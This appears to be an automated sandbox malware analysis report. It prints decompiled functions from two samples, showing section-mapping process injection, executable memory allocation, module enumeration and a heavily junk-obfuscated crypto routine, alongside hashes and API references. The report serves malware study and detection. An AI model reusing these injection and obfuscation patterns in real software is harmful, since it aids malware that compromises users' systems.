Opcode ID: ebf5b87ca574a2093f45f0c1329a303c09540bf947450197218f7952483030ba
Instruction ID: bd371bee40ec3abd78cd11d740c8041ac39bc23a5b358860ff84b61223384543
Opcode Fuzzy Hash: ebf5b87ca574a2093f45f0c1329a303c09540bf947450197218f7952483030ba
Instruction Fuzzy Hash: EF5109B5900259BFEF209F91CC48FDFBBB8FF85B10F144159F911AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 006FC9EE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006FCA16
Module32First.KERNEL32(00000000,00000224), ref: 006FCA36

Memory Dump Source

Source File: 00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp, Offset: 006F8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f8000_dfhwrav.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 811e594b4d10d3ab581f9b0e5eac66ef17d9ab73989e4cde17baceebdce31c88
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 50F0C23520031C6BD7206AF9998CABA76E9AF48335F100128E742D11C0DB70FC458A60

Uniqueness

Uniqueness Score: -1.00%

Function 006D003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006D024D

Strings

kernel32.dll, xrefs: 006D008F, 006D0095
cess, xrefs: 006D018D

Memory Dump Source

Source File: 00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d0000_dfhwrav.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 5ebbe460fe37c58c253ed573dd18450252dbf76ec07c608bcbb3694c3860dc94
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 23525874E012299FDB64CF58C985BA8BBB1BF09304F1480DAE94DAB351DB30AA95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040A22A Relevance: 7.6, APIs: 5, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0040A267

Memory Dump Source

Source File: 00000009.00000002.384839901.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_dfhwrav.jbxd

Similarity

API ID: __calloc_crt
String ID:
API String ID: 3494438863-0
Opcode ID: 53f0db518e11e19cf3d20b75c8e5157a4bfced06fe33a4e46221324b2e3a85d0
Instruction ID: 7ff23b28151b566c8cbfd56bb0cd94605b4a1bb2763dc4f056cfeb7ae197ddbf
Opcode Fuzzy Hash: 53f0db518e11e19cf3d20b75c8e5157a4bfced06fe33a4e46221324b2e3a85d0
Instruction Fuzzy Hash: C521F6B28083406AD7216B317C05B6737C8EB81379F2505BFE851763D2EB7E9891865E

Uniqueness

Uniqueness Score: -1.00%

Function 006D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006D0223,?,?), ref: 006D0E19
SetErrorMode.KERNELBASE(00000000,?,?,006D0223,?,?), ref: 006D0E1E

Memory Dump Source

Source File: 00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d0000_dfhwrav.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d737391412cb78383b34bd059ac362a3996041c191b4104b2eff9d787dbb4a53
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C7D0123154512877D7102A94DC09BCD7B1CDF05B62F008411FB0DD9180C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040189D Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E0040189D(signed int __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t14;
				void* _t15;
				void* _t20;
				signed char _t21;

				_t18 = __edi;
				_t17 = __edx ^  *[gs:0x18c3b8];
				_t21 = __edx ^  *[gs:0x18c3b8];
				__eax = __eax | 0xf3f98595;
				__eflags = 0x18c3;
				_t15 = 0x65;
				E004011BB(0x18c3, _t15, _t17, __edi, __esi, _t21, __fp0);
				_t14 =  *((intOrPtr*)(_t20 + 8));
				Sleep(0x1388);
				_t11 = E004013F5(_t17, _t18, __esi, _t21, _t14,  *((intOrPtr*)(_t20 + 0xc)),  *((intOrPtr*)(_t20 + 0x10)), _t20 - 4); // executed
				_t22 = _t11;
				if(_t11 != 0) {
					E004014CF(_t17, _t22, __fp0, _t14, _t11,  *((intOrPtr*)(_t20 - 4)),  *((intOrPtr*)(_t20 + 0x14))); // executed
				}
				 *_t14(0xffffffff, 0);
				_push(0x18c3);
			}

0x0040189d
0x0040189d
0x0040189d
0x004018ad
0x004018ad
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8b77036b1a27a9c7dfc0189ead4c1f30c43aa5a46c5e9ddab95927bc0a212abd
Instruction ID: a02e35ba6da00efe994e29ce0eaeefbb09db0d2e4018ecf4a20588ff4ad8f681
Opcode Fuzzy Hash: 8b77036b1a27a9c7dfc0189ead4c1f30c43aa5a46c5e9ddab95927bc0a212abd
Instruction Fuzzy Hash: 6201B977608105EBEB016A948C41EB93765AF44711F24C537BA03781F1D67D8713A76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401890 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00401890(void* __ebx, void* __edi, void* __esi, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t11;
				intOrPtr* _t15;
				void* _t16;
				void* _t17;
				void* _t20;

				_t18 = __edi;
				_push(__edi);
				__eax = __eax | 0xf3f98595;
				__eflags = 0x18c3;
				_t16 = 0x65;
				E004011BB(0x18c3, _t16, _t17, __edi, __esi, _t20, __fp0);
				_t15 = _a4;
				Sleep(0x1388);
				_t11 = E004013F5(_t17, _t18, __esi, _t20, _t15, _a8, _a12,  &_v8); // executed
				_t21 = _t11;
				if(_t11 != 0) {
					E004014CF(_t17, _t21, __fp0, _t15, _t11, _v8, _a16); // executed
				}
				 *_t15(0xffffffff, 0);
				_push(0x18c3);
			}

0x00401890
0x00401898
0x004018ad
0x004018ad
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Part of subcall function 004014CF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014CF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
Part of subcall function 004014CF: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 04d77c005a321a04c0d65ccc9281052a4a3ded78dde72ec47b1ef39188f4cdac
Instruction ID: 8f39270ed9ea08bd5d3f38822785b1c482e0596b14cfc6610146d31112912ead
Opcode Fuzzy Hash: 04d77c005a321a04c0d65ccc9281052a4a3ded78dde72ec47b1ef39188f4cdac
Instruction Fuzzy Hash: 1001D876608104EBE7007A948C81EAA3369AF04710F208537BA03781F1C53D9713A76F

Uniqueness

Uniqueness Score: -1.00%

Function 006FC6AD Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006FC6FE

Memory Dump Source

Source File: 00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp, Offset: 006F8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f8000_dfhwrav.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d0b687bf4b4ed1f18fc7656e5c23c8fbbbe52d39d3520d4c9dfaca93a096de4c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 95113C79A00208EFDB01DF98CA85E98BBF5AF08350F058094FA489B362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004018BA Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E004018BA(void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t14;
				void* _t15;
				void* _t16;
				void* _t19;

				_t20 = __eflags;
				_t17 = __edi;
				_t15 = 0x65;
				E004011BB(_t8, _t15, _t16, __edi, __esi, __eflags, __fp0);
				_t14 =  *((intOrPtr*)(_t19 + 8));
				Sleep(0x1388);
				_t11 = E004013F5(_t16, _t17, __esi, _t20, _t14,  *((intOrPtr*)(_t19 + 0xc)),  *((intOrPtr*)(_t19 + 0x10)), _t19 - 4); // executed
				_t21 = _t11;
				if(_t11 != 0) {
					E004014CF(_t16, _t21, __fp0, _t14, _t11,  *((intOrPtr*)(_t19 - 4)),  *((intOrPtr*)(_t19 + 0x14))); // executed
				}
				 *_t14(0xffffffff, 0);
				_push(0x18c3);
			}

0x004018ba
0x004018ba
0x004018b6
0x004018be
0x004018c3
0x004018cb
0x004018d9
0x004018de
0x004018e0
0x004018ea
0x004018ea
0x004018f3
0x004018fc

APIs

Sleep.KERNELBASE(00001388), ref: 004018CB

Part of subcall function 004014CF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014CF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
Part of subcall function 004014CF: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2150068fafe268fe9e7df539654189d3fc6e8b654a1e8f04fb5b48b64cd69d78
Instruction ID: b534f1cd2e4676c17bf77ce83b64d7a83011e734f56cb89338415bb8e59cf26b
Opcode Fuzzy Hash: 2150068fafe268fe9e7df539654189d3fc6e8b654a1e8f04fb5b48b64cd69d78
Instruction Fuzzy Hash: EDF06876208105EBDB016F949C82EAE3365AF48711F248537FB03791F1C67D9623A76B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ADCA.exePID: 1432, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	2.8%
Signature Coverage:	32.7%
Total number of Nodes:	425
Total number of Limit Nodes:	39

Executed Functions

Function 00881940 Relevance: 103.7, APIs: 7, Strings: 51, Instructions: 2165
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E00881940(intOrPtr* __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				char _v13;
				long* _v20;
				long* _v24;
				char _v28;
				int _v32;
				char _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				void* _v93;
				void* _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				signed int _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				intOrPtr _v120;
				signed int _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				intOrPtr _v132;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v148;
				char _v149;
				char _v150;
				char _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				char _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				char _v308;
				char _v312;
				char _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				char _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				char _v492;
				char _v500;
				char _v508;
				char _v516;
				char _v524;
				char _v536;
				char _v548;
				char _v560;
				char _v564;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				char _v700;
				char _v704;
				char _v708;
				char _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				char _v724;
				char _v728;
				char _v736;
				char _v1348;
				int _t1022;
				signed int _t1029;
				signed int _t1031;
				signed int _t1074;
				intOrPtr _t1075;
				intOrPtr _t1084;
				signed int _t1085;
				intOrPtr _t1133;
				intOrPtr* _t1182;
				intOrPtr* _t1187;
				intOrPtr* _t1192;
				intOrPtr* _t1197;
				intOrPtr* _t1218;
				intOrPtr* _t1223;
				intOrPtr* _t1228;
				signed int _t1262;
				signed int _t1266;
				signed int _t1271;
				signed int _t1273;
				signed int _t1275;
				intOrPtr _t1277;
				intOrPtr _t1280;
				signed int _t1287;
				void* _t1293;
				intOrPtr _t1324;
				intOrPtr _t1330;
				intOrPtr _t1356;
				intOrPtr _t1382;
				intOrPtr _t1390;
				signed int _t1391;
				signed int _t1392;
				signed int _t1401;
				intOrPtr _t1403;
				signed int _t1406;
				char* _t1443;
				char* _t1446;
				char* _t1451;
				char* _t1456;
				char* _t1461;
				char* _t1466;
				char* _t1475;
				char* _t1480;
				char* _t1485;
				signed int _t1512;
				intOrPtr _t1545;
				signed int _t1549;
				intOrPtr* _t1555;
				intOrPtr* _t1560;
				intOrPtr* _t1565;
				intOrPtr* _t1570;
				signed int _t1653;
				intOrPtr _t1658;
				signed int _t1667;
				signed int _t1675;
				intOrPtr _t1680;
				signed int _t1696;
				signed int _t1732;
				intOrPtr _t1735;
				intOrPtr _t1737;
				intOrPtr* _t1753;
				intOrPtr* _t1758;
				intOrPtr* _t1763;
				intOrPtr* _t1768;
				intOrPtr* _t1773;
				intOrPtr* _t1778;
				intOrPtr* _t1783;
				intOrPtr* _t1788;
				intOrPtr* _t1793;
				signed int _t1877;
				intOrPtr _t1879;
				intOrPtr _t1881;
				intOrPtr _t1884;
				intOrPtr _t1886;
				intOrPtr _t1893;
				intOrPtr _t1895;
				intOrPtr _t1909;
				intOrPtr _t1911;
				signed int _t1912;
				signed int _t1913;
				signed int _t1915;
				intOrPtr* _t1929;
				intOrPtr* _t1934;
				intOrPtr* _t1939;
				intOrPtr* _t1944;
				intOrPtr* _t2013;
				intOrPtr* _t2018;
				char* _t2023;
				char* _t2026;
				void* _t2054;
				intOrPtr _t2202;
				intOrPtr _t2203;
				intOrPtr _t2216;
				intOrPtr _t2218;
				intOrPtr _t2237;
				intOrPtr _t2252;
				intOrPtr _t2267;
				intOrPtr _t2284;
				intOrPtr _t2285;
				intOrPtr* _t2302;
				intOrPtr* _t2305;
				intOrPtr* _t2309;
				intOrPtr* _t2313;
				intOrPtr* _t2317;
				intOrPtr* _t2321;
				intOrPtr* _t2327;
				intOrPtr* _t2331;
				intOrPtr* _t2335;
				signed int _t2430;
				intOrPtr _t2471;
				intOrPtr* _t2536;
				intOrPtr* _t2539;
				intOrPtr _t2564;
				intOrPtr _t2565;
				char _t2583;
				int _t2584;
				void* _t2602;
				void* _t2603;
				char _t2627;

				_t2562 = __esi;
				_t2561 = __edi;
				_t2053 = __ebx;
				_t2564 = _t2565;
				_t2054 = 0xa8;
				do {
					_push(0);
					_push(0);
					_t2054 = _t2054 - 1;
				} while (_t2054 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00409D8C(_v12);
				_push(_t2564);
				_push(0x8852e2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t2565;
				_v13 = 0;
				_push(_t2564);
				_push(0x884f29);
				_push( *[fs:eax]);
				 *[fs:eax] = _t2565;
				E0040A0C0( &_v36, _v40);
				_v64 = _v56 + 0xe7;
				_v80 = 0;
				if(_v80 < 8) {
					_t1929 =  *0x8a9d58; // 0x8b0913
					_v95 =  *_t1929;
					if(_v95 + 0x9f - 0x1a < 0) {
						_v95 = _v95 - 0x20;
					}
					_t1934 =  *0x8a9cf4; // 0x8b0911
					_v96 =  *_t1934;
					if(_v96 + 0x9f - 0x1a < 0) {
						_v96 = _v96 - 0x20;
					}
					_t1939 =  *0x8a9f14; // 0x8b0922
					_v97 =  *_t1939;
					if(_v97 + 0x9f - 0x1a < 0) {
						_v97 = _v97 - 0x20;
					}
					_t1944 =  *0x8a9ce4; // 0x8b0912
					_v98 =  *_t1944;
					if(_v98 + 0x9f - 0x1a < 0) {
						_v98 = _v98 - 0x20;
					}
					E0040A3C0(0);
					_push(_v164);
					E0040A3C0(0);
					_push(_v168);
					E0040A3C0(0);
					_push(_v172);
					E0040A3C0(0);
					_push(_v176);
					E0040A3C0(0);
					_push(_v180);
					E0040A3C0(0);
					_push(_v184);
					E0040A3C0(0);
					_push(_v188);
					E0040A3C0(0);
					_push(_v192);
					E0040A3C0(0);
					_push(_v196);
					E0040A3C0(0);
					_push(_v200);
					E0040A3C0(0);
					_push(_v204);
					E0040A3C0(0);
					_push(_v208);
					E0040A3C0(0);
					_push(_v212);
					E0040A3C0(0);
					_push(_v216);
					E0040A3C0(0);
					_push(_v220);
					E0040A3C0(0);
					_push(_v224);
					E0040A3C0(0);
					_push(_v228);
					E0040A3C0(0);
					_push(_v232);
					E0040A3C0(0);
					_push(_v236);
					E0040A3C0(0);
					_push(_v240);
					E0040A3C0(0);
					_push(_v244);
					E0040A3C0(0);
					_push(_v248);
					E0040A3C0(0);
					E0040A494( &_v160, _t2053, 0x17, _t2561, _t2562);
					E0040A9E8( &_v36, _v160, _v252);
					_v84 = 0;
					_v92 = _v48 + _v48 + (_v48 + _v48) * 4;
					_v88 = _v76 + 0xda;
					E0040A0C0( &_v40, _v40);
					E0040A0C0( &_v36, L"System.IO.dll");
					E0040A0C0( &_v36, _v40);
					E0040A0C0( &_v36, _v40);
					_t2013 =  *0x8a9d58; // 0x8b0913
					_v99 =  *_t2013;
					if(_v99 + 0x9f - 0x1a < 0) {
						_v99 = _v99 - 0x20;
					}
					_t2018 =  *0x8a9c3c; // 0x8b0918
					_v100 =  *_t2018;
					if(_v100 + 0x9f - 0x1a < 0) {
						_t112 =  &_v100;
						 *_t112 = _v100 - 0x20;
						_t2583 =  *_t112;
					}
					_t2023 =  &_v264;
					_t2536 =  *0x8a9ce4; // 0x8b0912
					 *((char*)(_t2023 + 1)) =  *_t2536;
					 *_t2023 = 1;
					E0040A324( &_v268,  &_v264);
					_t2026 =  &_v272;
					_t2539 =  *0x8aa0b4; // 0x8b091f
					 *((char*)(_t2026 + 1)) =  *_t2539;
					 *_t2026 = 1;
					E0040A34C( &_v268, 2,  &_v272);
					E0040A444( &_v260, 0,  &_v268, _t2583);
					_push(_v260);
					E0040A3C0(0);
					_push(_v276);
					E0040A3C0(0);
					_push(_v280);
					E0040A3C0(0);
					_push(_v284);
					E0040A3C0(0);
					_push(_v288);
					E0040A3C0(0);
					_push(_v292);
					E0040A3C0(0);
					_push(_v296);
					_push(0x88532c);
					E0040A3C0(0);
					_push(_v300);
					E0040A3C0(0);
					_push(_v304);
					E0040A3C0(0);
					E0040A494( &_v256, _t2053, 0xb, _t2561, _t2562);
					E0040A9E8( &_v36, _v256, _v308);
				}
				E0040A0C0( &_v40, _v40);
				E0040ACEC(_v40, 1, 1,  &_v40);
				E0040ACEC(_v36, 0, 1,  &_v40);
				_t1022 = CryptAcquireContextA( &_v20, 0, 0, 0x18, 0xf0000000); // executed
				_t2584 = _t1022;
				if(_t2584 == 0) {
					__eflags = 0;
					_v88 = 0;
					do {
						_v84 = 0;
						__eflags = _v84 - 6;
						while(_v84 < 6) {
							_v84 = _v84 + 1;
							_v44 = _v60 * 0x69;
							_v52 = _v48 + _v56;
							_v68 = 0x2c - _v64;
							 *0x8a9b40 =  *0x8a9af4 * 0x44;
							 *0x8a9a40 = 0x73 -  *0x8a9a98;
							asm("fild dword [0x8a9b18]");
							 *0x8a9b24 = E004076E8();
							__eflags = _v84 - 6;
						}
						_v88 = _v88 + 1;
						__eflags = _v88 - 1;
					} while (_v88 != 1);
					E0040A0C0( &_v36, _v36);
					 *0x8a9b08 = 0;
					E008764FC(_t2053, _t2561, _t2562);
					_t1029 =  *0x8a9ad4; // 0xa40b347
					 *0x8a9ad4 = E00407278(_t1029);
					_t1031 =  *0x8a9b28; // 0x3d5d8347
					 *0x8a9b30 = _t1031 *  *0x8a9abc;
					E0040A0C0( &_v36, L"CustomMarshalers.dll");
					_pop(_t2202);
					 *[fs:eax] = _t2202;
					__eflags = 0;
					_pop(_t2203);
					 *[fs:eax] = _t2203;
					_push(E008852EC);
					E00409D28( &_v1348, 0xd);
					E00409D28( &_v736, 2);
					E00409C98( &_v728);
					E00409D28( &_v724, 0xb);
					E00409C98( &_v564);
					E00409D28( &_v492, 0x2d);
					E00409D28( &_v308, 9);
					E00409D28( &_v260, 2);
					E00409D28( &_v220, 0x10);
					E00409D28( &_v252, 8);
					E00409CBC( &_v148);
					E00409CF8( &_v40, 2);
					return E00409CBC( &_v12);
				} else {
					E0040ACB4(_v40, L"System.Configuration.Install.ni.dll");
					if(_t2584 != 0) {
						_t1074 =  *0x8a9a28; // 0x0
						_v104 = _t1074;
						__eflags = _v104;
						if(_v104 != 0) {
							_t1915 = _v104 - 4;
							__eflags = _t1915;
							_v104 =  *_t1915;
						}
						__eflags = _v104 - 0x11;
						if(_v104 == 0x11) {
							_v312 = _v76 + 0xd2;
							asm("fild dword [ebp-0x134]");
							_v48 = E004076E8();
							_v60 = _v52 * _v68;
							_v72 = _v92 * _v80;
							_t1909 =  *0x8a9b1c; // 0xd2d18e86
							 *0x8a9b90 = _t1909 +  *0x8a9ac0;
							_t1911 =  *0x8a99e4; // 0xffdbe445
							_t1912 = _t1911 - 0x45;
							__eflags = _t1912;
							 *0x8a9a70 = _t1912;
							_t1913 =  *0x8a9b78; // 0xe152
							 *0x8a9ad4 = _t1913;
						}
					} else {
						_v56 = 0;
						E008764FC(_t2053, _t2561, _t2562);
					}
					_t1075 =  *0x8a9a64; // 0x3d5d8300
					 *0x8a9bc0 = _t1075 + E008A9A8C;
					E0040A0C0( &_v36, _v40);
					E0040A0C0( &_v36, _v36);
					_v64 = 0;
					_t2585 = _v64 - 3;
					while(_v64 < 3) {
						_v64 = _v64 + 1;
						 *0x8a9a88 = 0;
						E0087301C(_v56, _t2053, _v52, _v44, _t2585, _v64);
					}
					if(_v72 + _v64 <= _v64) {
						_t1084 =  *0x8a9a6c; // 0xd2d18e86
						_t1085 = _t1084 - 0x24;
						__eflags = _t1085;
						E008A9A8C = _t1085;
					} else {
						if(E0040AEFC(L"RtlDelete", 1, _v40) - 1 >= 0) {
							_t1877 =  *0x8a9a9c; // 0xdd124098
							 *0x8a9abc = _t1877 + 0xb3;
							_t1879 =  *0x8a9b24; // 0x3d5d8262
							 *0x8a9b3c = _t1879 + 0xaf;
							_t1881 =  *0x8a9b88; // 0x95740b86
							 *0x8a9bb0 = _t1881 + 0xac;
							 *0x8a9a9c =  *0x8a9a70 * 0xa9;
							_t1884 =  *0x8a9b38; // 0xfde44b1c
							 *0x8a9b1c = _t1884 - 0x40;
							_t1886 =  *0x8a9a58; // 0x22edbf74
							 *0x8a9b7c = _t1886 + 4;
						} else {
							asm("fild dword [0x8a9b84]");
							 *0x8a9a78 = E004076F4();
							 *0x8a9aec =  *0x8a9b04 * 0xc6;
							 *0x8a9b64 =  *0x8a9b70 * 0xc3;
							 *0x8a99e4 = 0xf4 -  *0x8a9ae4;
							_t1893 =  *0x8a9b94; // 0xf78b0ce1
							 *0x8a9aa4 = _t1893 + 0x8a;
							_t1895 =  *0x8a9ac8; // 0x9636d2f3
							_v312 = _t1895 + 0x21;
							asm("fild dword [ebp-0x134]");
							 *0x8a9b24 = E004076E8();
						}
					}
					_push(_t2564);
					_push(0x884b2e);
					_push( *[fs:eax]);
					 *[fs:eax] = _t2565;
					_v80 = 0;
					while(_v80 < 0xc) {
						_v80 = _v80 + 1;
						_v60 = _v56 - _v64;
						_t2590 = _v80 - 0xc;
					}
					 *0x8a9b88 = 0;
					_t2216 =  *0x8a9aa4; // 0xf5bf4f76
					E0087FA9C(_v56, _t2216, _t2590);
					_v72 = _v84;
					_v48 = _v52 + 0xc3;
					_v76 = _v44 - _v92;
					E0040A0C0( &_v36, _v40);
					_push( &_v28);
					_push(0);
					_push(0);
					_push(0x8003);
					_push(_v20);
					if( *0x8b124c() == 0) {
						_pop(_t2218);
						 *[fs:eax] = _t2218;
						_push(E00884B38);
						CryptReleaseContext(_v20, 0);
						E0040ACEC(_v36, 0, 1,  &_v36);
						_v72 = _v84 + 0x24;
						_v80 = 0;
						__eflags = _v80 - 3;
						while(_v80 < 3) {
							_v80 = _v80 + 1;
							_v56 = 0;
							__eflags = _v56 - 0xb;
							while(_v56 < 0xb) {
								_v56 = _v56 + 1;
								_v44 = _v52 + 0x9a;
								E0040A0C0( &_v36, _v36);
								E0040ACEC(_v40, 1, 1,  &_v36);
								_v68 = _v76 + _v76 * 8 + (_v76 + _v76 * 8) * 8;
								E0040A0C0( &_v40, _v36);
								E0040A0C0( &_v36, _v40);
								__eflags = _v56 - 0xb;
							}
							__eflags = _v80 - 3;
						}
						E0040A0C0( &_v40, _v36);
						E0040A0C0( &_v36, _v40);
						__eflags = 0;
						return E0040ACEC(_v36, 0, 1,  &_v40);
					} else {
						_push(_t2564);
						_push(0x88495d);
						_push( *[fs:eax]);
						 *[fs:eax] = _t2565;
						_t1133 =  *0x8a99d4; // 0x0
						E0040ACB4(_t1133, L"OleCreateFromDataEx");
